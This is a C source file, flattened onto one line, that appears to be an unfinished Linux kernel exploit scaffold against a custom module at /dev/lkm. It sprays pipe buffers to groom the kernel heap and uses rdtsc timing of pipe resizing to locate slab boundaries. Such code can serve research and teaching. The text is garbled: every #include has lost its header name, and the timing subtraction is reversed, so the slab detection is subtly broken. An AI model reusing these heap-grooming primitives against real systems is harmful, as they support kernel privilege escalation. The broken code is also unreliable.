#define _GNU_SOURCE #include #include #include #include #include #include #define LKM_DEVICE "/dev/lkm" // where does this come from? #define OBJS_PER_SLAB 42 #define SPRAY (OBJS_PER_SLAB * 100) #define PIPES (OBJS_PER_SLAB * 10) int spray[SPRAY][2]; int pipes[PIPES][2]; char buffer[0x100]; extern inline size_t rdtsc_begin(void) { size_t a, d; asm volatile("mfence"); asm volatile("rdtsc" : "=a"(a), "=d"(d)); a = (d << 32) | a; asm volatile("lfence"); return a; } extern inline size_t rdtsc_end(void) { size_t a, d; asm volatile("lfence"); asm volatile("rdtsc" : "=a"(a), "=d"(d)); a = (d << 32) | a; asm volatile("mfence"); return a; } int main(void) { printf("main: start\n"); FILE *device = fopen(LKM_DEVICE, "r+"); printf("main: spray to reduce TLB noise part 1: %u objects\n", SPRAY); for (size_t i = 0; i < SPRAY; i++) { int ret; ret = pipe2(spray[i], O_NONBLOCK); if (ret < 0) { printf("main: error: object %lu pipe2: %i\n", i, ret); exit(-1); } ret = fcntl(spray[i][0], F_SETPIPE_SZ, 8192); if (ret < 0) { printf("main: error: fcntl: object %lu\n", i); exit(-1); } ret = write(spray[i][1], buffer, 8); if (ret < 0) { printf("main: error: write: object %lu\n", i); exit(-1); } } // May need socket and two parts instead printf("main: fopen: %p\n", device); if (!device) { printf( "main: fopen: Error opening %s. Make sure the kernel module is loaded\n", LKM_DEVICE); exit(1); } printf("main: spray to reduce TLB noise part 2: %u objects\n", SPRAY); size_t t_delta; size_t t_prev = -1; size_t last_slab = -1; for (size_t i = 0; i < SPRAY; i++) { pipe2(spray[i], O_NONBLOCK); size_t t0 = rdtsc_begin(); fcntl(spray[i][0], F_SETPIPE_SZ, 8192); size_t t1 = rdtsc_end(); write(spray[i][1], buffer, 8); t_delta = t0 - t1; if (t_delta > (t_prev + 1000)) { if (last_slab == (size_t)-1) { last_slab = i; } else if (i - last_slab == OBJS_PER_SLAB) { break; } else { last_slab = -1; } } t_prev = t_delta; } for (size_t i = 0; i < PIPES; i++) { // Pipe buffer allocation primitive pipe2(pipes[i], O_NONBLOCK); fcntl(pipes[i][0], F_SETPIPE_SZ, 8192); write(pipes[i][1], buffer, 8); } fclose(device); printf("main: done\n"); }